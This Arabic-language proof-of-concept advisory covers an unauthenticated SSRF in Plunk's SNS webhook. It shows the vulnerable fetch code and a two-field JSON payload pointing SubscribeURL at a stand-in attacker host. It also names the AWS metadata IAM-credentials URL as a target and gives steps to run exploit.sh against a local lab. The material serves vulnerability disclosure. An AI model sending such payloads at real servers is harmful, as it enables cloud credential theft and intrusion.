
إثبات مفهوم لاستغلال ثغرة SSRF في خطاف الويب SNS الخاص بـ Plunk، يوضح تزوير الطلبات من جانب الخادم دون مصادقة عبر SubscribeURL غير مُتحقق منه.
SSRF عبر SubscriptionConfirmation غير مُتحقق منه في AWS SNS في useplunk/plunk
نقطة نهاية Plunk API POST /webhooks/sns تجلب SubscribeURL المقدَّم من المهاجم دون التحقق من التوقيع التشفيري لـ AWS SNS. يمكن لمهاجم غير مُصادَق أن يُجبر الخادم على إجراء طلبات HTTP صادرة عشوائية (SSRF).
| الخطورة | حرجة — CVSS 9.3 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N) |
| CWE | CWE-918: تزوير الطلبات من جانب الخادم |
| الملف المتأثر | apps/api/src/controllers/Webhooks.ts |
| المصادقة المطلوبة | لا شيء |
// apps/api/src/controllers/Webhooks.ts
if (req.body.Type === 'SubscriptionConfirmation') {
const confirmResponse = await fetch(req.body.SubscribeURL); // SSRF — لا يوجد تحقق من التوقيع
if (confirmResponse.ok) {
return res.status(200).json({ success: true, message: 'Subscription confirmed' });
}
}
الحد الأدنى من الحمولة هو حقلان فقط:
{
"Type": "SubscriptionConfirmation",
"SubscribeURL": "http://attacker.example.com/callback"
}
http://169.254.169.254/latest/meta-data/iam/security-credentials/ابدأ بيئة اختبار Plunk:
docker compose up -d
ابدأ مستمع استدعاء SSRF:
python3 listener.py
شغّل الاستغلال:
chmod +x exploit.sh
./exploit.sh
لاحظ وصول الاستدعاء في مخرجات listener.py، مما يؤكد أن الخادم جلب عنوان URL المُتحكَّم به من المهاجم.
| الملف | الوصف |
|---|---|
exploit.sh | سكربت استغلال شامل — يرسل حمولة SNS مزوّرة إلى نقطة النهاية القابلة للاستغلال |
listener.py | مستمع استدعاء SSRF — يلتقط ويسجّل الطلبات الواردة من خادم Plunk |
docker-compose.yml | بيئة Docker Compose مصغّرة (Postgres، Redis، Plunk) لإعادة الإنتاج محليًا |